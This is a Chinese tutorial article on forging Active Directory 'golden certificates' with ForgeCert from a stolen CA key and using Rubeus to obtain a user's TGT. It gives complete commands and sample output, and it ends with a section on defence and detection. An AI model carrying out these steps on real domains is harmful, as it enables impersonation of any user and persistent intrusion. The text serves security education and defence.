从理论到实践:使用ForgeCert与Rubeus获取域用户TGT的完整流程

📅 2026/7/28 4:31:26 👁️ 阅读次数 📝 编程学习
从理论到实践:使用ForgeCert与Rubeus获取域用户TGT的完整流程

从理论到实践:使用ForgeCert与Rubeus获取域用户TGT的完整流程

【免费下载链接】ForgeCert"Golden" certificates项目地址: https://gitcode.com/gh_mirrors/fo/ForgeCert

ForgeCert是一款强大的安全工具,它利用BouncyCastle C# API和被盗的证书颁发机构(CA)证书及私钥,为任意用户伪造能够对Active Directory进行身份验证的证书。通过配合Rubeus工具,我们可以利用这些伪造的证书获取域用户的TGT(票据授予票),从而实现对域环境的深入渗透。本文将为你详细介绍这一完整流程,帮助你从理论到实践全面掌握相关技术。

一、核心概念解析:什么是Golden Certificates?

在Active Directory环境中,证书颁发机构(CA)的私钥安全至关重要。如果攻击者获取了CA的私钥(该CA证书存在于NTAuthCertificates中),就可以伪造能够进行域身份验证的证书,这些伪造的证书被称为“Golden Certificates”。它们可以针对域中的任何主体,并且在CA证书的有效期内(通常默认5年,也可设置更长)都是有效的。

更严重的是,由于这些证书并非正常颁发流程的产物,CA不会知晓它们的创建,因此无法撤销。这使得Golden Certificates成为攻击者在域环境中持久化的重要手段。

二、证书伪造的关键流程与原理

证书伪造涉及一系列复杂的步骤,下图清晰展示了证书注册的基本流程,有助于我们理解后续伪造过程的原理:

证书伪造的核心步骤:

  1. 获取CA私钥:攻击者需通过某种方式(如利用Mimikatz或SharpDPAPI)从CA服务器提取未受硬件保护(如TPM或HSM)的CA私钥。
  2. 生成证书请求:使用工具生成包含目标用户信息的证书签名请求(CSR)。
  3. 伪造证书:利用获取的CA私钥对CSR进行签名,生成伪造的用户证书。
  4. 使用伪造证书:将伪造的证书与Rubeus等工具结合,请求TGT以实现身份验证。

三、快速上手:ForgeCert的安装与基础配置

1. 克隆项目仓库

要开始使用ForgeCert,首先需要克隆项目仓库到本地:

git clone https://gitcode.com/gh_mirrors/fo/ForgeCert

2. 工具依赖与环境要求

ForgeCert基于C#开发,主要依赖BouncyCastle C# API。在编译和运行前,请确保你的环境满足以下要求:

  • .NET Framework 4.5及以上
  • 适当的编译工具(如Visual Studio或MSBuild)

四、实战操作:使用ForgeCert伪造用户证书

1. 命令行参数解析

ForgeCert的命令行参数众多,以下是一些关键参数的说明:

参数说明是否必填
--CaCertPathCA私钥文件路径(.pfx或.p12格式)
--CaCertPasswordCA私钥文件密码
--Subject证书主题(默认:CN=User)
--SubjectAltName要认证的用户UPN(如user@domain.com)
--NewCertPath新生成证书的保存路径
--NewCertPassword新生成证书的密码
--CRL伪造证书的CRL的ldap路径

2. 伪造证书的完整示例

假设我们已获取CA证书文件ca.pfx,密码为Password123!,目标是为用户localadmin@theshire.local伪造证书,并保存为localadmin.pfx,密码设为NewPassword123!。执行以下命令:

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "localadmin@theshire.local" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"

成功执行后,将输出CA证书和伪造证书的详细信息,例如:

CA Certificate Information: Subject: CN=theshire-DC-CA, DC=theshire, DC=local Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 1/4/2021 10:48:02 AM End Date: 1/4/2026 10:58:02 AM Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2 Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21 Forged Certificate Information: Subject: CN=User SubjectAltName: localadmin@theshire.local Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 7/26/2021 3:38:45 PM End Date: 7/26/2022 3:38:45 PM Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D Serial: 3627A48F90F6869C3215FF05BC3B2E42 Done. Saved forged certificate to localadmin.pfx with the password 'NewPassword123!'

五、无缝衔接:使用Rubeus获取TGT

生成伪造证书后,下一步是使用Rubeus工具利用该证书请求TGT。Rubeus是一款功能强大的Kerberos攻击工具,能够与伪造的证书配合使用。

使用Rubeus的基本命令

假设伪造的证书文件为localadmin.pfx,密码为NewPassword123!,使用以下命令请求TGT:

Rubeus.exe asktgt /user:localadmin /domain:theshire.local /certificate:localadmin.pfx /password:NewPassword123! /outfile:tgt.kirbi

此命令将生成一个TGT票据文件tgt.kirbi,后续可使用该票据进行进一步的域内操作,例如使用Rubeus ptt命令将票据注入内存。

六、防御与检测:保护你的域环境

虽然Golden Certificates攻击强大,但我们可以通过以下措施进行防御和检测:

1. 保护CA私钥

  • 使用硬件安全模块(HSM)或TPM来保护CA私钥,防止被轻易提取。
  • 定期轮换CA私钥,降低私钥泄露后的风险。

2. 实施OCSP检查

正如Fabian Bader所建议的,可以通过调整Microsoft OCSP来缓解许多Golden Certificates的使用。虽然这并非绝对防弹,但能有效增加攻击者的难度。

3. 监控与检测

  • 关注TypeRefHash:当前ForgeCert代码库的TypeRefHash为b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0
  • TypeLib GUID:ForgeCert的TypeLib GUID为bd346689-8ee6-40b3-858b-4ed94f08d40a,可用于创建Yara规则进行检测。
  • 参考项目中的Yara规则文件ForgeCert.yar,加强对可疑文件的扫描。

七、总结与思考

ForgeCert与Rubeus的组合为攻击者提供了一种强大的域渗透手段,其原理与“黄金票据”(Golden Tickets)类似,但由于CA私钥的获取和轮换难度更大,危害也更为持久。作为安全从业者,我们不仅要了解这些攻击技术,更要重视防御措施的实施,保护好域环境中的关键 cryptographic 材料。

希望本文能帮助你全面了解使用ForgeCert与Rubeus获取域用户TGT的流程。在实际操作中,请务必遵守法律法规,仅在授权环境中进行测试和研究。

【免费下载链接】ForgeCert"Golden" certificates项目地址: https://gitcode.com/gh_mirrors/fo/ForgeCert

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考